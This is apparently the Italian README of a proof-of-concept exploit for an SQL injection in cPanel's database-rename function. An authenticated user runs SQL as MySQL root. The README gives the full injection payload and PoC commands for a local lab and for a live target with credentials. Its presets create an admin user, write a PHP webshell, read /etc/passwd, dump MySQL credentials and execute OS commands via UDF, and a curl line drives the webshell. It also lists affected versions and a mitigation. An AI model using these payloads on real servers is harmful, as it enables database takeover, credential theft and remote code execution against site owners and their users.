
Security research project
CVSS 4.0: 9.4 (Critico) | CWE-89: SQL Injection | NVD
Utente cPanel autenticato → SQL arbitrario come root MySQL tramite rinomina del database.
cPanel preserva impropriamente il sql_mode della sessione dell'utente (ANSI_QUOTES) quando
esegue operazioni di rinomina come root — un backtick nel nome del database fuoriesce
dall'identificatore e inietta SQL.
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
La modalità laboratorio è rilevata automaticamente — non serve il flag --lab.
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
SQL personalizzato: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
Mitigazione: aggiornare, oppure revocare la funzionalità MySQL agli utenti cPanel.
Solo per test di sicurezza autorizzati e formazione.
| Preset | Effetto |
|---|
admin-user (default) | Crea utente amministratore MySQL rce |
compact-admin | Payload admin breve (<64 caratteri — rientra nel limite di nome del cPanel reale; verifica: r/p) |
webshell | Scrive shell PHP tramite INTO OUTFILE (--shell /var/www/html/shell.php) |
read-file | Legge file del server tramite LOAD_FILE (--file /etc/passwd) |
dump-users | Esporta tutte le credenziali MySQL in pwn.users |
udf-rce | Esecuzione di comandi OS tramite UDF |